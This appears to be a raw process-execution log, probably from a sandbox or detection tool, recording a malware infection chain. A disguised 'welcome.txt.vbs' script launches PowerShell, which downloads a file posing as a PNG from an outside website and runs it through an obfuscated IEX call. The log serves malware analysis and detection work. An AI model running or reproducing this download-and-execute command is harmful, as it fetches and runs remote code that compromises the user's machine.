wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\welcome.txt.vbs
1984powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))}
2068